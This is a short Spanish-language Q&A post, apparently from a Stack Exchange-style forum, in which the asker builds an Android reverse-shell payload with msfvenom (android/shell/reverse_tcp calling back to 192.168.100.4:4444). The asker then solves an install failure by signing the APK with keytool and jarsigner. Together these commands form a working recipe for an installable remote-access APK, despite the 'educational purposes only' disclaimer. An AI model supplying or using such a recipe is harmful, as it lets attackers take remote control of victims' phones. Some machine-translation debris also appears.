¡Esto es solo para fines educativos!
Estoy intentando generar una carga útil de Android usando el generador independiente de la carga útil de msfconsole: msfvenom con el comando:
msfvenom -p android/shell/reverse_tcp LHOST=192.168.100.4 LPORT=4444 R > android_shell.apk
Mi problema es que el apk se niega a instalar en cualquier versión de Android "Intenté 4.0 a 4.3" y muestra el mensaje:
aplicación no instalada
¿Qué estoy haciendo mal? ¿Hay algún tipo de firma para el archivo apk?
Encontré mi respuesta, refiriéndome a Firmando sus aplicaciones en el desarrollador de Android, < fuerte> la apk necesitaba ser firmada .
Sin embargo, tuve que hacerlo manualmente en Kali usando los comandos:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name
Lea otras preguntas en las etiquetas android kali-linux metasploit